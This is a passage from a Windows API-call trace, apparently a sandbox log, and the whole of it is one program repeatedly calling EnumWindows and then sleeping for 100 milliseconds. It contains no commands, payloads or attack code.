(lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.808] Sleep (dwMilliseconds=0x64) [0174.810] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.810] Sleep (dwMilliseconds=0x64) [0174.889] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.889] Sleep (dwMilliseconds=0x64) [0174.891] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.892] Sleep (dwMilliseconds=0x64) [0174.917] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.918] Sleep (dwMilliseconds=0x64) [0174.926] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.927] Sleep (dwMilliseconds=0x64) [0174.928] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.928] Sleep (dwMilliseconds=0x64) [0175.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.056] Sleep (dwMilliseconds=0x64) [0175.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.113] Sleep (dwMilliseconds=0x64) [0175.239] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.240] Sleep (dwMilliseconds=0x64) [0175.265] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.266] Sleep (dwMilliseconds=0x64) [0175.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.268] Sleep (dwMilliseconds=0x64) [0175.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.300] Sleep (dwMilliseconds=0x64) [0175.395] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.396] Sleep (dwMilliseconds=0x64) [0175.431] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.432] Sleep (dwMilliseconds=0x64) [0175.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.440] Sleep (dwMilliseconds=0x64) [0175.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.539] Sleep (dwMilliseconds=0x64) [0175.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.564] Sleep (dwMilliseconds=0x64) [0175.566] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.567] Sleep (dwMilliseconds=0x64) [0175.568] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.569] Sleep (dwMilliseconds=0x64) [0175.570] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.571] Sleep (dwMilliseconds=0x64) [0175.573] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.573] Sleep (dwMilliseconds=0x64) [0175.575] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.575] Sleep (dwMilliseconds=0x64) [0175.579] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.579] Sleep (dwMilliseconds=0x64) [0175.581] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.581] Sleep (dwMilliseconds=0x64) [0175.583] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.584] Sleep (dwMilliseconds=0x64) [0175.585] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.585] Sleep (dwMilliseconds=0x64) [0175.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.587] Sleep (dwMilliseconds=0x64) [0175.589] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.589] Sleep (dwMilliseconds=0x64) [0175.591] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.591] Sleep (dwMilliseconds=0x64) [0175.593] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.595] Sleep (dwMilliseconds=0x64) [0175.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.598] Sleep (dwMilliseconds=0x64) [0175.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.599] Sleep (dwMilliseconds=0x64) [0175.600] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.601] Sleep (dwMilliseconds=0x64) [0175.603] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.603] Sleep (dwMilliseconds=0x64) [0175.604] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.605] Sleep (dwMilliseconds=0x64) [0175.606] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.606] Sleep (dwMilliseconds=0x64) [0175.608] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.608] Sleep (dwMilliseconds=0x64) [0175.610] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.610] Sleep (dwMilliseconds=0x64) [0175.612] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.612] Sleep (dwMilliseconds=0x64) [0175.614] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.614] Sleep (dwMilliseconds=0x64) [0175.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.616] Sleep (dwMilliseconds=0x64) [0175.617] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.617] Sleep (dwMilliseconds=0x64) [0175.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.619] Sleep (dwMilliseconds=0x64) [0175.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.621] Sleep (dwMilliseconds=0x64) [0175.622] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.623] Sleep (dwMilliseconds=0x64) [0175.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.624] Sleep (dwMilliseconds=0x64) [0175.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.626] Sleep (dwMilliseconds=0x64) [0175.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.628] Sleep (dwMilliseconds=0x64) [0175.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.630] Sleep (dwMilliseconds=0x64) [0175.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.633] Sleep (dwMilliseconds=0x64) [0175.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.635] Sleep (dwMilliseconds=0x64) [0175.636] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.636] Sleep (dwMilliseconds=0x64) [0175.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.638] Sleep (dwMilliseconds=0x64) [0175.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.640] Sleep (dwMilliseconds=0x64) [0175.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.642] Sleep (dwMilliseconds=0x64) [0175.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.645] Sleep (dwMilliseconds=0x64) [0175.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.646] Sleep (dwMilliseconds=0x64) [0175.648] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.648] Sleep (dwMilliseconds=0x64) [0175.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.650] Sleep (dwMilliseconds=0x64) [0175.652] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.652] Sleep (dwMilliseconds=0x64) [0175.654] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.654] Sleep (dwMilliseconds=0x64) [0175.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.676] Sleep (dwMilliseconds=0x64) [0175.679] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.680] Sleep (dwMilliseconds=0x64) [0175.682] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.682] Sleep (dwMilliseconds=0x64) [0175.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.684] Sleep (dwMilliseconds=0x64) [0175.686] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.687] Sleep (dwMilliseconds=0x64) [0175.688] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.689] Sleep (dwMilliseconds=0x64) [0175.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.690] Sleep (dwMilliseconds=0x64) [0175.692] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.692] Sleep (dwMilliseconds=0x64) [0175.694] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.695] Sleep (dwMilliseconds=0x64) [0175.696] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.697] Sleep (dwMilliseconds=0x64) [0175.698] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.698] Sleep (dwMilliseconds=0x64) [0175.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.700] Sleep (dwMilliseconds=0x64) [0175.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.702] Sleep (dwMilliseconds=0x64) [0175.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.704] Sleep (dwMilliseconds=0x64) [0175.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.708] Sleep (dwMilliseconds=0x64) [0175.709] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.709] Sleep (dwMilliseconds=0x64) [0175.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.711] Sleep (dwMilliseconds=0x64) [0175.712] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.713] Sleep (dwMilliseconds=0x64) [0175.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.715] Sleep (dwMilliseconds=0x64) [0175.718] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.718] Sleep (dwMilliseconds=0x64) [0175.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.721] Sleep (dwMilliseconds=0x64) [0175.723] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.723] Sleep (dwMilliseconds=0x64) [0175.724] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.724] Sleep (dwMilliseconds=0x64) [0175.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.726] Sleep (dwMilliseconds=0x64) [0175.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.728] Sleep (dwMilliseconds=0x64) [0175.730] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.730] Sleep (dwMilliseconds=0x64) [0175.732] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.732] Sleep (dwMilliseconds=0x64) [0175.734] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.734] Sleep (dwMilliseconds=0x64) [0175.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.736] Sleep (dwMilliseconds=0x64) [0175.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.738] Sleep (dwMilliseconds=0x64) [0175.740] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.740] Sleep (dwMilliseconds=0x64) [0175.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.743] Sleep (dwMilliseconds=0x64) [0175.745] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.745] Sleep (dwMilliseconds=0x64) [0175.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.747] Sleep (dwMilliseconds=0x64) [0175.749] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.749] Sleep (dwMilliseconds=0x64) [0175.751] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.751] Sleep (dwMilliseconds=0x64) [0175.753] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.753] Sleep (dwMilliseconds=0x64) [0175.755] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.755] Sleep (dwMilliseconds=0x64) [0175.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.756] Sleep (dwMilliseconds=0x64) [0175.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.758] Sleep (dwMilliseconds=0x64) [0175.759] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.760] Sleep (dwMilliseconds=0x64) [0175.761] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.762] Sleep (dwMilliseconds=0x64) [0175.763] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.764] Sleep (dwMilliseconds=0x64) [0175.766] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.767] Sleep (dwMilliseconds=0x64) [0175.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.769] Sleep (dwMilliseconds=0x64) [0175.770] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.771] Sleep (dwMilliseconds=0x64) [0175.772] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.773] Sleep (dwMilliseconds=0x64) [0175.774] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.774] Sleep (dwMilliseconds=0x64) [0175.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.776] Sleep (dwMilliseconds=0x64) [0175.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.779] Sleep (dwMilliseconds=0x64) [0175.781] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.781] Sleep (dwMilliseconds=0x64) [0175.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.782] Sleep (dwMilliseconds=0x64) [0175.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.784] Sleep (dwMilliseconds=0x64) [0175.785] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.785] Sleep (dwMilliseconds=0x64) [0175.787] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.787] Sleep (dwMilliseconds=0x64) [0175.789] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.789] Sleep (dwMilliseconds=0x64) [0175.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.791] Sleep (dwMilliseconds=0x64) [0175.793] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.793] Sleep (dwMilliseconds=0x64) [0175.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.795] Sleep (dwMilliseconds=0x64) [0175.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.797] Sleep (dwMilliseconds=0x64) [0175.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.799] Sleep (dwMilliseconds=0x64) [0175.801] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.801] Sleep (dwMilliseconds=0x64) [0175.803] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.803] Sleep (dwMilliseconds=0x64) [0175.805] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.805] Sleep (dwMilliseconds=0x64) [0175.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.807] Sleep (dwMilliseconds=0x64) [0175.808] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.809] Sleep (dwMilliseconds=0x64) [0175.810] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.811] Sleep (dwMilliseconds=0x64) [0175.812] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.813] Sleep (dwMilliseconds=0x64) [0175.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.815] Sleep (dwMilliseconds=0x64) [0175.816] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.817] Sleep (dwMilliseconds=0x64) [0175.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.821] Sleep (dwMilliseconds=0x64) [0175.823] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.823] Sleep (dwMilliseconds=0x64) [0175.824] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.825] Sleep (dwMilliseconds=0x64) [0175.826] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.827] Sleep (dwMilliseconds=0x64) [0175.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.829] Sleep (dwMilliseconds=0x64) [0175.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.830] Sleep (dwMilliseconds=0x64) [0175.832] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.832] Sleep (dwMilliseconds=0x64) [0175.834] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.834] Sleep (dwMilliseconds=0x64) [0175.836] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.836] Sleep (dwMilliseconds=0x64) [0175.838] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.838] Sleep (dwMilliseconds=0x64) [0175.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.840] Sleep (dwMilliseconds=0x64) [0175.841] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.842] Sleep (dwMilliseconds=0x64) [0175.844] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.844] Sleep (dwMilliseconds=0x64) [0175.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.850] Sleep (dwMilliseconds=0x64) [0175.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.853] Sleep (dwMilliseconds=0x64) [0175.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.854] Sleep (dwMilliseconds=0x64) [0175.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.856] Sleep (dwMilliseconds=0x64) [0175.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.858] Sleep (dwMilliseconds=0x64) [0175.860] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.861] Sleep (dwMilliseconds=0x64) [0175.862] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.862] Sleep (dwMilliseconds=0x64) [0175.864] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.865] Sleep (dwMilliseconds=0x64) [0175.866] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.867] Sleep (dwMilliseconds=0x64) [0175.868] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.868] Sleep (dwMilliseconds=0x64) [0175.870] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.870] Sleep (dwMilliseconds=0x64) [0175.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.871] Sleep (dwMilliseconds=0x64) [0175.873] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.873] Sleep (dwMilliseconds=0x64) [0175.875] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.875] Sleep (dwMilliseconds=0x64) [0175.878] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.879] Sleep (dwMilliseconds=0x64) [0175.880] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.880] Sleep (dwMilliseconds=0x64) [0175.972] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.973] Sleep (dwMilliseconds=0x64) [0175.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.975] Sleep (dwMilliseconds=0x64) [0175.977] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.977] Sleep (dwMilliseconds=0x64) [0175.979] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.979] Sleep (dwMilliseconds=0x64) [0175.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.980] Sleep (dwMilliseconds=0x64) [0175.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.982] Sleep (dwMilliseconds=0x64) [0175.984] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.984] Sleep (dwMilliseconds=0x64) [0175.986] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.986] Sleep (dwMilliseconds=0x64) [0175.988] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.988] Sleep (dwMilliseconds=0x64) [0175.989] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.989] Sleep (dwMilliseconds=0x64) [0175.991] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.991] Sleep (dwMilliseconds=0x64) [0175.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.993] Sleep (dwMilliseconds=0x64) [0175.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.995] Sleep (dwMilliseconds=0x64) [0175.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.997] Sleep (dwMilliseconds=0x64) [0175.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0175.999] Sleep (dwMilliseconds=0x64) [0176.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.001] Sleep (dwMilliseconds=0x64) [0176.009] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.010] Sleep (dwMilliseconds=0x64) [0176.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.095] Sleep (dwMilliseconds=0x64) [0176.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.099] Sleep (dwMilliseconds=0x64) [0176.101] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.101] Sleep (dwMilliseconds=0x64) [0176.103] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.103] Sleep (dwMilliseconds=0x64) [0176.105] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.105] Sleep (dwMilliseconds=0x64) [0176.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.111] Sleep (dwMilliseconds=0x64) [0176.113] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.113] Sleep (dwMilliseconds=0x64) [0176.115] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.115] Sleep (dwMilliseconds=0x64) [0176.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.117] Sleep (dwMilliseconds=0x64) [0176.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.198] Sleep (dwMilliseconds=0x64) [0176.224] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.225] Sleep (dwMilliseconds=0x64) [0176.227] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.227] Sleep (dwMilliseconds=0x64) [0176.229] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.229] Sleep (dwMilliseconds=0x64) [0176.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.231] Sleep (dwMilliseconds=0x64) [0176.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.232] Sleep (dwMilliseconds=0x64) [0176.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.234] Sleep (dwMilliseconds=0x64) [0176.235] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.235] Sleep (dwMilliseconds=0x64) [0176.237] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.237] Sleep (dwMilliseconds=0x64) [0176.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.238] Sleep (dwMilliseconds=0x64) [0176.240] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.241] Sleep (dwMilliseconds=0x64) [0176.242] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.243] Sleep (dwMilliseconds=0x64) [0176.244] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.244] Sleep (dwMilliseconds=0x64) [0176.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.247] Sleep (dwMilliseconds=0x64) [0176.248] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.249] Sleep (dwMilliseconds=0x64) [0176.250] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.250] Sleep (dwMilliseconds=0x64) [0176.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.253] Sleep (dwMilliseconds=0x64) [0176.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.300] Sleep (dwMilliseconds=0x64) [0176.360] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.361] Sleep (dwMilliseconds=0x64) [0176.363] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.363] Sleep (dwMilliseconds=0x64) [0176.365] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.365] Sleep (dwMilliseconds=0x64) [0176.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.367] Sleep (dwMilliseconds=0x64) [0176.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.381] Sleep (dwMilliseconds=0x64) [0176.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.383] Sleep (dwMilliseconds=0x64) [0176.385] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.385] Sleep (dwMilliseconds=0x64) [0176.391] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.393] Sleep (dwMilliseconds=0x64) [0176.426] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.426] Sleep (dwMilliseconds=0x64) [0176.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.510] Sleep (dwMilliseconds=0x64) [0176.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.512] Sleep (dwMilliseconds=0x64) [0176.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.515] Sleep (dwMilliseconds=0x64) [0176.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.517] Sleep (dwMilliseconds=0x64) [0176.518] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.520] Sleep (dwMilliseconds=0x64) [0176.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.540] Sleep (dwMilliseconds=0x64) [0176.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.549] Sleep (dwMilliseconds=0x64) [0176.629] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.629] Sleep (dwMilliseconds=0x64) [0176.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.650] Sleep (dwMilliseconds=0x64) [0176.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.653] Sleep (dwMilliseconds=0x64) [0176.655] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.655] Sleep (dwMilliseconds=0x64) [0176.656] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.657] Sleep (dwMilliseconds=0x64) [0176.662] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.662] Sleep (dwMilliseconds=0x64) [0176.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.670] Sleep (dwMilliseconds=0x64) [0176.671] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.672] Sleep (dwMilliseconds=0x64) [0176.674] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.674] Sleep (dwMilliseconds=0x64) [0176.676] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.676] Sleep (dwMilliseconds=0x64) [0176.678] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.678] Sleep (dwMilliseconds=0x64) [0176.746] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.747] Sleep (dwMilliseconds=0x64) [0176.789] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.790] Sleep (dwMilliseconds=0x64) [0176.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.795] Sleep (dwMilliseconds=0x64) [0176.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.797] Sleep (dwMilliseconds=0x64) [0176.798] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.798] Sleep (dwMilliseconds=0x64) [0176.800] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.800] Sleep (dwMilliseconds=0x64) [0176.802] EnumWindows 